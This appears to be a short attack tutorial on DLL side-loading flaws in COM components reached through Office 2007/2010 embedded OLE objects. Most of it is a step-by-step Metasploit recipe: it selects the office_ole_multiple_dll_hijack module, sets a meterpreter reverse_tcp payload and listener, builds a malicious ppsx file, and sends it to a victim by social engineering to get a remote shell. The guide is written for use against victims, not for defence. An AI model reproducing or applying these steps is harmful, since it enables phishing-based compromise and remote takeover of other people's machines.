Multiple DLL side loading vulnerabilities were found in various COM components. These issues can be exploited by loading various these components as an embedded OLE object. When we instantiate a vulnerable object, Windows will try to load one or more DLLs from the current working directory. If an attacker convinces the victim to open a specially crafted (Office) document from a directory also containing the attacker’s DLL file, it is possible to execute arbitrary code with the privileges of the target user. This can potentially result in the attacker taking complete control of the affected system.
MS Office 2007
MS Office 2010
Attacker: kali Linux
Victim PC: Windows 7
Open Kali terminal type msfconsole
Now type use exploit/windows/fileformat/office_ole_multiple_dll_hijack
msf exploit (office_ole_multiple_dll_hijack)>set payload windows/meterpreter/reverse_tcp
msf exploit (office_ole_multiple_dll_hijack)>set lhost 192.168.0.105 (IP of Local Host)
msf exploit (office_ole_multiple_dll_hijack)>exploit
After we successfully generate the malicious dll and ppsx File, it will stored on your local computer
COMServices.ppsx is the file that you will zip and send to victim using various Social Engineering Technique that we have studied in previous articles.
Now we need to set up a listener to handle reverse connection sent by victim when the exploit successfully executed.
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.0.105
Now send your malicious PPT files to victim, as soon as they download and open it. Now you can access meterpreter shell on victim computer
